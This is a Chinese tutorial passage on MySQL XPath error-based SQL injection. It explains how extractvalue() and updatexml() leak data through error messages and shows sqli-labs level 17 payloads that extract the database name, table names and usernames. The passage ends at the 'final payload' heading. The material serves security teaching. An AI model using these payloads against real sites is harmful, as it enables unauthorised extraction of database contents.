本文首发于先知社区
前言:
SQL注入是web安全中最常见的攻击方式,SQL注入有很多方法,但如果只知道payload,不知道原理,感觉也很难掌握,这次就总结一下我所遇到的SQL注入方法,原理分析+题目实战。
0x00 Xpath报错注入
涉及函数
updatexml():对xml进行查询和修改
extractvalue():对xml进行查询和修改
报错语句构造
select extractvalue(1,concat(0x7e,user(),0x7e));
mysql> select extractvalue(1,concat(0x7e,user(),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'
select updatexml(1,concat(0x7e,version(),0x7e),1);
mysql> select updatexml(1,concat(0x7e,version(),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53~'
原理分析
extractvalue(xml_str , Xpath) 函数,按照Xpath语法从XML格式的字符串中提取一个值,如果函数中任意一个参数为NULL,返回值都是NULL。
其实就是对XML文档进行查询的函数,相当于HTML文件中用 <div><p><a>
等标签查找元素一样,第一个参数传入目标xml文档,第二个参数使用Xpath路径法表示的查找路径
举个简单例子:
select extractvalue('<a><b>abbb</b><c>accc</c>aaaa</a>','/a/c');
寻找前一段xml文档内容中的a节点下的c节点
+----------------------------------------------------------+
| extractvalue('<a><b>abbb</b><c>accc</c>aaaa</a>','/a/c') |
+----------------------------------------------------------+
| accc |
+----------------------------------------------------------+
正常情况下的使用便是这样,但如果我们构造了不合法的Xpath ,MySQL便会出现语法错误,从而显示出XPath的内容。
发现报错时少了一部分,没有前面的root,产生这样的问题是因为Xpath语法只有遇到特殊字符时才会报错
那我们直接在需要连接的字符前添加特殊字符即可爆出我们想要的结果
但是也要注意,报错的长度是有一定限制的,不要构造过长的payload,否则后面的字符串会被截断
updatexml()
函数 与extractvalue()
类似 ,是更新xml文档的函数
updatexml()
函数有三个参数,分别是(XML_document, XPath_string, new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
原理相同,都是遇到特殊字符爆出错误
题目实战
sqli-labs17关,涉及到xpath报错注入
uname尝试发现没有任何变化,尝试下passwd,发现单引号报错,且有报错信息,可以使用xpath报错注入 尝试下爆出数据库
uname=admin&passwd=1' or updatexml(1,concat(0x7e,database(),0x7e),1)# &submit=Submit
既然xpath报错注入可以,那就来一一爆出表、字段、值即可
payload:
uname=admin&passwd=1' or updatexml(1,(select group_concat(table_name) from
information_schema.TABLES where TABLE_SCHEMA=database()),1)# &submit=Submit
下面就基本上将payload改下即可,但到爆值时会出一个问题
payload:
uname=admin&passwd=' or updatexml(1,concat(0x7e,(select username from users),0x7e),1)#&submit=Submit
出现这个错误的,是因为不能先select出同一表中的某些值,再update这个表
百度查找解决方法,发现需要再在外面加一层select即可解决
最终payload: